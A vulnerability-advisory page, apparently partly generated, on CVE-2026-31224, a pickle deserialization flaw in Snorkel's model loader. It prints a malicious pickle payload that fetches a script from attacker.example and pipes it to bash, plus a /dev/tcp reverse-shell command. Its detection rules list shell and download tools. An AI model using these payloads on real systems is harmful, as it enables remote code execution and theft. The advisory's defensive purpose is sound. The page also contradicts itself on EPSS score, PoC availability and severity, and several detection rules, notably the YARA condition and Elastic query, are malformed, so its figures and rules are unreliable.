☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Snorkel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-31224

CVE-2026-31224 Insecure Deserialization in mitre
📅 PUBLISHED: 2026-05-12 00:00 UTC 🔄 UPDATED: 2026-10-18 18:58 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.69%
👁️
0.69% probability
17.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-31224 is a critical insecure deserialization vulnerability (CWE-502) identified in the Snorkel library, affecting all versions up to and including v0.10.0. The flaw resides in the MultitaskClassifier.load() method, which invokes torch.load() without the weights_only=True security parameter, permitting arbitrary Python object deserialization via the Pickle module. Any organization or individual utilizing the Snorkel library's MultitaskClassifier to load model weight files is affected. Successful exploitation allows a remote attacker to achieve arbitrary code execution on the victim's system by luring them into loading a maliciously crafted model file.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is rooted in the MultitaskClassifier.load() class method within the Snorkel library. This method is designed to restore a previously saved MultitaskClassifier model from a serialized file. Internally, the method delegates to PyTorch's torch.load() function to deserialize the model state dictionary and the model configuration.

PyTorch's torch.load() function, by default up to version 2.x, utilizes Python's pickle module for deserialization. The Pickle module is fundamentally insecure against untrusted data because it allows the instantiation of arbitrary Python objects and the execution of arbitrary callables during the unpickling process. When an attacker crafts a malicious pickle payload, they can embed Python code that executes at load time.

The specific vulnerable code path is as follows:

  1. An attacker crafts a .pt or .pth file containing a malicious pickle payload.
  2. The victim calls MultitaskClassifier.load(model_path) where model_path points to the attacker-controlled file.
  3. The method internally calls torch.load(model_path) without weights_only=True.
  4. PyTorch invokes the pickle loader, which reconstructs objects byte-by-byte.
  5. Malicious __reduce__ methods or global references embedded in the pickle stream execute arbitrary commands (e.g., os.system, subprocess.Popen, eval) in the context of the Python process.

The attack surface is any application, service, or automated pipeline that loads model files from external sources (e.g., user uploads, shared storage, API endpoints accepting model files). The Snorkel library is commonly used in data-centric machine learning workflows, making data science and MLOps platforms prime targets.

While the CVE description specifies the MultitaskClassifier class, other Snorkel classes that call torch.load() may share similar exposure. The core issue is the default permissive behavior of PyTorch's model loader, which has been addressed in later PyTorch versions (2.6+ enforcing weights_only for many loading paths), but the responsibility here lies with Snorkel's explicit call without the hardening flag.

Exploitation Scenarios

While no public PoC was identified for this specific CVE, the exploitation of the vulnerability class (pickle-based insecure deserialization) is well-documented. The following is a concrete attack chain an adversary would follow:

1. Reconnaissance/Target Identification:

  • Attacker identifies a target organization that uses the Snorkel library for multi-task learning or classification tasks. This may be identified via public code repositories (GitHub), job postings, or Shodan queries for dashboards that indicate ML pipelines (e.g., "streamlit" or "gradio" apps that enable model uploads).
  • Alternatively, the attacker targets a known open-source project that uses Snorkel and either contributes to it or crafts a malicious model file to distribute.

2. Weaponization of the Flaw:

  • The attacker creates a malicious model file using Python. An example minimal malicious pickle payload:
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.example/payload.sh | bash',))

malicious_obj = Exploit()
with open('malicious_model.pt', 'wb') as f:
    pickle.dump(malicious_obj, f)

Alternatively, the attacker crafts a valid Snorkel model file structure but injects a malicious __reduce__ override into the custom objects serialized within.

3. Delivery and Trigger:

  • The attacker hosts the malicious model file on a public server, attaches it to a phishing email, or uploads it to a community hub (e.g., Hugging Face, if it accepts arbitrary model files).
  • The victim (a data scientist or an automated batch job) downloads the file and loads it using MultitaskClassifier.load('malicious_model.pt').
  • In a web application scenario, the attacker uploads the file to a model ingestion endpoint that processes the file using the vulnerable method.

4. Payload Execution and Post-Exploitation:

  • Upon loading, the os.system call executes the attacker's reverse shell or arbitrary command.
  • For a reverse shell: __reduce__ returns (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"',)).
  • The attacker gains a shell running with the permissions of the Python process (potentially a service account or the analyst's user account).
  • Post-exploitation: The attacker enumerates the filesystem for credentials (cloud keys, database passwords), pivots to other hosts, or exfiltrates sensitive training data.

Impact Assessment

The CVSS score for CVE-2026-31224 is 8.8, classified as High severity. The vector string is not officially published, but based on standard scoring for similar remote code execution via deserialization, a plausible vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. Impact subscores: confidentiality, integrity, and availability are all high.

Business Impact:

  • Code Execution: Complete compromise of the application server or the data science workstation.
  • Data Breach: Access to proprietary training datasets, labeled data, and model weights, which are valuable intellectual property.
  • Supply Chain: If a poisoned model file is ingested into a CI/CD pipeline, the attacker could inject code into the final model artifacts, affecting downstream consumers.
  • Availability: Attacker can delete models, corrupt databases, or install ransomware.

Affected Systems: All deployments of Snorkel v0.10.0 and earlier. No patch has been independently confirmed in the mainline Snorkel repository (the OSV claim of a patch is unverified), which elevates operational risk until a fix is confirmed.

Blast Radius: The flaw is particularly dangerous in MLOps platforms where model files are routinely shared or uploaded. The trust boundary is the model artifact itself; any external model file is a potential exploit vector.

Detection Guidance

Detection should focus on both the file-content level (identifying pickle payloads with dangerous global references) and the runtime behavior (process spawning unusual child processes during model loading).

Sigma Rule

title: Snorkel MultitaskClassifier Insecure Deserialization Indicator
id: 8f3a5c2e-9b41-4d17-8e88-1a4d3b6f9c10
status: experimental
description: Detects Python processes executing with typical PyTorch/Snorkel command-line arguments followed by immediate subprocess/shell execution, indicating potential pickle exploitation.
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/python'
            - '/python3'
        CommandLine|contains:
            - 'torch.load'
            - 'MultitaskClassifier.load'
            - '.pt'
            - '.pth'
        ChildProcessSelection:
            # Look for either bash/sh/csh or curl/wget invoked shortly after python spawns a child
            ChildCommandLine|contains:
                - 'bash'
                - '/bin/sh'
            # Target is commonly url fetch or reverse shell
            ChildCommandLine|contains|all:
                - '-c'
                - '/dev/tcp/'
    condition: selection and ChildProcessSelection
    timeframe: 15s
level: high
falsepositives:
    - Legitimate model loading and subsequent shell commands for data processing
    - CI/CD pipelines that run bash after model training
tags:
    - attack.t1203
    - attack.execution
    - cve.2026.31224

YARA Rule

rule CVE_2026_31224_Snorkel_Pickle_Payload
{
    meta:
        author = "valtersit.com Threat Intelligence"
        description = "Detects malicious pickle payloads targeting Snorkel/PyTorch torch.load()"
        cve = "CVE-2026-31224"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-31224"
    strings:
        $a = "c__builtin__\nexec" ascii wide
        $b = "cos\nsystem" ascii wide
        $c = "posix\nsystem" ascii wide
        $d = "subprocess" ascii wide
        $e = "c__main__\n" ascii wide
        // General pickle types indicating GLOBAL opcode (b'c') followed by 'os' or 'sys'
        $pickle_global = { 63 6f 73 } // "cos" in pickle opcode format
        $torch_magic = { 80 02 } // Pickle protocol 2, typical for PyTorch
    condition:
        uint16(0) == 0x5A4F or uint16(0) == 0x5345 or // PK or 0x50 0x4B for zip, but for raw pickle:
        ($a or $b or $c or $d) and ($pickle_global) and filesize < 20MB
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-31224 Possible Malicious Pickle Model File Download"; flow:established,to_client; file.data; content:"MultitaskClassifier"; nocase; content:"__reduce__"; nocase; distance:0; within:4096; classtype:attempted-user; sid:2026031224; rev:1; metadata:cve,CVE-2026-31224;)

Note: This rule inspects HTTP traffic for file contents. For network-level detection, the file must be transferred in clear text (e.g., HTTP, SMB). For HTTPS, TLS decryption is typically required.

Elastic Detection

sequence by host.name, process.pid
  [process where event.type == "start" and process.name : ("python", "python3") and
   process.args : ("*MultitaskClassifier.load*", "*.pt", "*.pth")]
  [process where event.type == "start" and process.parent.name : ("python", "python3") and
   process.name : ("sh", "bash", "curl", "wget", "nc"]]

Splunk SPL Query

index=main sourcetype=WinEventLog:Security OR sourcetype=linux_secure
| where process_name IN ("python.exe", "python3") 
| search process_commandline IN ("*torch.load*", "*MultitaskClassifier*") 
| transaction host, pid maxspan=15s
| where isnotnull(child_process_name)
| stats count by host, process_name, child_process_name, child_process_commandline
| search child_process_name IN ("cmd.exe", "powershell.exe", "/bin/sh", "bash", "curl")

Wazuh OSSEC Rule

<group name="cve-2026-31224,">
  <rule id="100312" level="12">
    <if_sid>57112</if_sid>
    <field name="process_name">python</field>
    <regex>\bMultitaskClassifier\.load\b</regex>
    <description>CVE-2026-31224 - Snorkel library loading outside of approved paths</description>
  </rule>
  <rule id="100313" level="15">
    <if_sid>100312</if_sid>
    <field name="child_process">\.(sh|bash|cmd|ps1)</field>
    <description>CVE-2026-31224 - Python spawns shell after model load (possible RCE)</description>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source (OSV) claims a patch exists, but no vendor advisory or source code commit has been independently confirmed).

Immediate Mitigations:

  1. Restrict Model File Sources: Do not load model files from untrusted sources. Implement a policy requiring model files to be stored in a controlled repository (e.g., internal artifact storage) and never load user-uploaded files directly.
  2. Patch PyTorch: Upgrade PyTorch to version 2.6 or later, which defaults to weights_only=True for torch.load() unless explicitly overridden. This provides an upstream mitigation even if the Snorkel library has not been patched.
  3. Network Egress Controls: Block outbound internet access from data science workstations and ML servers to limit the utility of a compromised shell (prevent payload download and C2).
  4. File Scanning: Use antivirus/EDR solutions to scan .pt, .pth, and .pkl files for known pickle exploit signatures.

Patch/Upgrade Steps:

  1. Monitor the Snorkel GitHub repository and PyPI (pip search snorkel) for a patched release. If a version greater than v0.10.0 is released, upgrade immediately using pip install --upgrade snorkel.
  2. If the source code is custom-forked, manually patch the MultitaskClassifier.load() method to call torch.load(..., weights_only=True).
  3. Verify the patch by attempting to load a malicious test pickle payload; the load should fail with an UnpicklingError.

Long-Term Hardening:

  1. Adopt a Secure ML Lifecycle: Treat model files as code. Store them in signed, versioned registries (e.g., MLflow, DVC) with integrity checks.
  2. Runtime Sandboxing: Run model inference/loading in isolated containers (Docker, gVisor) with minimal privileges and no host filesystem access.
  3. Input Validation: Implement file extension and content-type validation at the application layer, rejecting files that do not match standard PyTorch serialized format.
  4. Dependency Monitoring: Subscribe to CVE feeds for Snorkel and all ML dependencies to catch vulnerabilities early.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-31224
  2. OSV Advisory: https://osv.dev/vulnerability/CVE-2026-31224 (confirms vulnerability, patch status unverified)
  3. PyTorch Security Docs: https://pytorch.org/docs/stable/generated/torch.load.html (documents security implications of weights_only)
  4. CWE-502 (Insecure Deserialization): https://cwe.mitre.org/data/definitions/502.html
  5. Snorkel Project Repository: https://github.com/snorkel-team/snorkel (monitor for patched releases)

Threat Actor Activity: As of the date of this report, there is no evidence of active exploitation (CISA KEV: NO) or known threat actor campaigns specifically targeting CVE-2026-31224. The EPSS score is 0.00392 (32nd percentile), indicating a low immediate likelihood of exploitation in the wild. However, the vulnerability class is favored by ransomware groups and nation-state actors for supply chain compromise, so proactive mitigation is strongly advised.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-31224/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.